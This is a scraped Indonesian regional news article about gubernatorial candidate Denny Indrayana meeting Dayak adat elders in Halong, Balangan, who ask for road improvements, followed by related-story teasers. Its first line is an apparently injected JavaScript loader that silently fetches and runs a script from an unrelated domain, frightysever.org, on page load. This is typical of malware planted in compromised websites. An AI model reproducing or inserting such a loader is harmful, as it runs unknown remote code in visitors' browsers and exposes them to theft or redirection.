(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALANGAN– Sambutan atas pencalonan Denny Indrayana sebagai Gubernur Kalsel terus bergaung di berbagai daerah. Di Kabupaten Balangan, mantan Wamenkumham era Presiden SBY ini bertemu dengan puluhan tokoh adat dan relawan di Kecamatan Halong, Jumat (10/1).
Pada pertemuan tersebut, Haji Denny-demikian Denny Indrayana diakrabi, menerima banyak masukan terkait kondisi masyarakat di Balangan. Salah seorang tetua adat, Gopen, yang membawahi empat desa di Halong mengatakan, mengapresiasi langkah Haji Denny -sapaan Denny Indrayana, maju sebagai calon Gubernur Kalsel 2020.
Sehingga diharapkan ada perbaikan untuk Banua ke depan, khususnya bagi masyarakat adat di daerah. “Kalau soal ketokohan, bagi kami Haji Denny ini sudah ‘viral’ di mata masyarakat. Apalagi ditambah kunjungan seperti ini,” katanya.
Gopen masih teringat gebrakan Haji Denny saat menggelar sidak ke sejumlah Lapas semasa menjabat Wamenkumham. Menurutnya, diperlukan sosok kepemimpinan yang tegas dan cakap untuk membawa perubahan bagi Kalsel.
“Untuk masyarakat adat Dayak, saat ini masih banyak terisolir di pedalaman, khususnya Halong. Maka kami mengusulkan agar ke depan jalan tembus diperbaiki lagi. Yakni Jl Bantala ke Singayan dan Jl arah Petanges dari Desa Aniungan tembus ke Grogot,” paparnya.
Menurut Gopen, selaras dengan langkah pemerintah pusat membagun infrastruktur, langkah tersebut perlu dilakukan. Apalagi di sepanjang jalan tersebut banyak lokasi yang bisa dijadikan destinasi wisata. “Seperti air terjun enam tingkat yang bisa menghidupi ekonomi masyarakat sekitar,” ungkapnya.
Hal sama disampaikan Khairil, tetua adat meratus yang membawahi sembilan desa. Ia mengatakan, banyak potensi di lingkungan warga adat yang kurang diperhatikan. “Ya, maka itu intinya kami ingin adanya perubahan,” kata Khairil yang menjabat tetua adat dari 2005 ini.
Menanggapi hal tersebut, Haji Denny mengatakan pembangunan memang harus dirasakan oleh semua lapisan masyarakat. Maka itu, program penguatan infrastruktur sebenarnya sebagai upaya menghidupkan potensi potensi ekonomi yang selama ini belum maksimal.
“Maka itu perlu kebijakan pembangunan mesti tepat sasaran. Termasuk berkaitan anggaran. Ada beberapa hal terkait ini yang sering terjadi sehubungan efisiensi, alokasi tepat sasaran hingga menghindari korupsi,” katanya.
Haji Denny menambahkan, selain itu juga diperlukan inovasi pimpinan daerah dalam meningkatkan anggaran daerah.
“Kalsel harus memiliki posisi tawar yang tinggi pada pemerintah pusat terkait potensi SDA yang dimiliku,” katanya.
Selain bertemu relawan dan tokoh adat, pakar hukum tata negara ini juga mengunjungi pesantren dan pasar tradisional untuk bertemu masyarakat. Rencananya, malam nanti juga akan menghadiri tabligh akbar di Kecamatan Halong, Balangan. (Kanalkalimantan.com/rls)
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
This website uses cookies.